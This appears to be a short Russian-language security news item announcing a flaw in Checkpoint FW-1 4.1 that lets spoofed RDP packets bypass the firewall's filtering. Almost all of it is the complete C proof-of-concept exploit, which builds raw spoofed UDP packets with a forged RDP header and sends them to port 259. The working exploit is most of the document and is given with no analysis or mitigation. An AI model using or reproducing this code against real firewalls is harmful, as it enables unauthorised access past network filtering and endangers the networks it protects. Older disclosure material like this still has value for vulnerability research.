Описание: |
На прошлой неделе появилась информация о возможности подмены RDP пакетов в
Checkpoint FW-1 Version 4.1, после чего возможен обход фильтрации. Написан
долгожданный эксплоит реализующий эту возможность:
/*
Checkpoint FW-1 Version 4.1 "RDP Bypass Vulnerability" proof of concept
code
Copyright 2001 Jochen Bauer, Inside Security IT Consulting GmbH
<jtb@inside-security.de>
Compiled and tested on SuSE Linux 7.1
This program is for testing purposes only, any other use is prohibited! */
#include <stdio.h>
#include <netinet/ip.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/udp.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/types.h>
#include <asm/types.h>
/*See $FWDIR/lib/crypt.def for the following definitions.*/ /*We set the highest
bit, so that the RDP commands are */ /*not members of the sets RDPCRYPTF and
RDPCRYPT_RESTARTF*/ #define RDP_PORT 259 /*RDP port*/ #define
RDPCRYPT_RESTARTCMD 101|0x80000000
#define RDPCRYPTCMD 100|0x80000000
#define RDPUSERCMD 150|0x80000000
#define RDPSTATUSCMD 128|0x80000000
/*---------------Checksum calculation--------------------------------*/
unsigned short in_cksum(unsigned short *addr,int len)
{
register int nleft=len;
register unsigned short *w=addr;
register int sum=0;
unsigned short answer=0;
while(nleft>1)
{
sum+=*w++;
nleft-=2;
}
if(nleft==1)
{
*(u_char *)(&answer)=*(u_char *)w;
sum+=answer;
}
sum=(sum >> 16)+(sum & 0xffff);
sum+=(sum >> 16);
answer=~sum;
return(answer);
} /*----------------------------------------------------------------------*/
/*------------Send spoofed UDP packet-----------------------------------*/
int send_udp(int sfd,unsigned int src,unsigned short src_p,
unsigned int dst,unsigned short dst_p,char *buffer,int len)
{
struct iphdr ip_head;
struct udphdr udp_head;
struct sockaddr_in target;
char *packet;
int i;
struct udp_pseudo /*the udp pseudo header*/
{
unsigned int src_addr;
unsigned int dst_addr;
unsigned char dummy;
unsigned char proto;
unsigned short length;
} pseudohead;
struct help_checksum /*struct for checksum calculation*/
{
struct udp_pseudo pshd;
struct udphdr udphd;
} udp_chk_construct;
/*Prepare IP header*/
ip_head.ihl = 5; /*headerlength with no options*/
ip_head.version = 4;
ip_head.tos = 0;
ip_head.tot_len = htons(sizeof(struct iphdr)+sizeof(struct udphdr)+len);
ip_head.id = htons(30000 + (rand()%100));
ip_head.frag_off = 0;
ip_head.ttl = 255;
ip_head.protocol = IPPROTO_UDP;
ip_head.check = 0; /*Must be zero for checksum calculation*/
ip_head.saddr = src;
ip_head.daddr = dst;
ip_head.check = in_cksum((unsigned short *)&ip_head,sizeof(struct
iphdr));
/*Prepare UDP header*/
udp_head.source = htons(src_p);
udp_head.dest = htons(dst_p);
udp_head.len = htons(sizeof(struct udphdr)+len);
udp_head.check = 0;
/*Assemble structure for checksum calculation and calculate checksum*/
pseudohead.src_addr=ip_head.saddr;
pseudohead.dst_addr=ip_head.daddr;
pseudohead.dummy=0;
pseudohead.proto=ip_head.protocol;
pseudohead.length=htons(sizeof(struct udphdr)+len);
udp_chk_construct.pshd=pseudohead;
udp_chk_construct.udphd=udp_head;
packet=malloc(sizeof(struct help_checksum)+len);
memcpy(packet,&udp_chk_construct,sizeof(struct help_checksum));
/*pre-assemble packet for*/
memcpy(packet+sizeof(struct help_checksum),buffer,len);
/*checksum calculation*/
udp_head.check=in_cksum((unsigned short *)packet,sizeof(struct
help_checksum)+len);
free(packet);
/*Assemble packet*/
packet=malloc(sizeof(struct iphdr)+sizeof(struct udphdr)+len);
memcpy(packet,(char *)&ip_head,sizeof(struct iphdr));
memcpy(packet+sizeof(struct iphdr),(char *)&udp_head,sizeof(struct
udphdr));
memcpy(packet+sizeof(struct iphdr)+sizeof(struct udphdr),buffer,len);
/*Send packet*/
target.sin_family = AF_INET;
target.sin_addr.s_addr= ip_head.daddr;
target.sin_port = udp_head.source;
i=sendto(sfd,packet,sizeof(struct iphdr)+sizeof(struct udphdr)+len,0,
(struct sockaddr *)&target,sizeof(struct
sockaddr_in));
free(packet);
if(i<0)
return(-1); /*Error*/
else
return(i); /*Return number of bytes sent*/
} /*---------------------------------------------------------------------*/
int main(int argc, char *argv[])
{
int i;
unsigned int source,target;
unsigned short int s_port,d_port;
char payload[]="abcdefg"; /*payload length must be a multiple of 4*/ char *data;
/*RDP header, refer to $FWDIR/lib/tcpip.def*/
struct rdp_hdr
{
unsigned int rdp_magic;
unsigned int rdp_cmd;
} rdp_head;
if(argv[1]==NULL || argv[2]==NULL || argv[3]==NULL)
{
printf("Usage: %s source_ip source_port dest_ip\n",argv[0]);
return(1);
}
else
{
source=inet_addr(argv[1]);
s_port=atoi(argv[2]);
target=inet_addr(argv[3]);
d_port=RDP_PORT;
}
/* the command number can be one of the following: */
/* RDPCRYPT_RESTARTCMD, RDPCRYPTCMD, RDPUSERCMD, RDPSTATUSCMD */
rdp_head.rdp_cmd=htonl(RDPCRYPT_RESTARTCMD);
rdp_head.rdp_magic=htonl(12345); /*seems to be irrelevant*/
/*Assemble fake RDP header and payload*/ data=malloc(sizeof(struct
rdp_hdr)+strlen(payload)+1); memcpy(data,&rdp_head,sizeof(struct rdp_hdr));
memcpy(data+sizeof(struct rdp_hdr),payload,strlen(payload)+1);
if((i=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0) /*open sending socket*/
{
perror("socket");
exit(1);
}
i=send_udp(i,source,s_port,target,d_port,data,sizeof(struct
rdp_hdr)+strlen(payload)+1);
if(i<0)
printf("Error, packet not sent\n");
else
printf("Sent %u bytes\n",i);
return(0);
}
|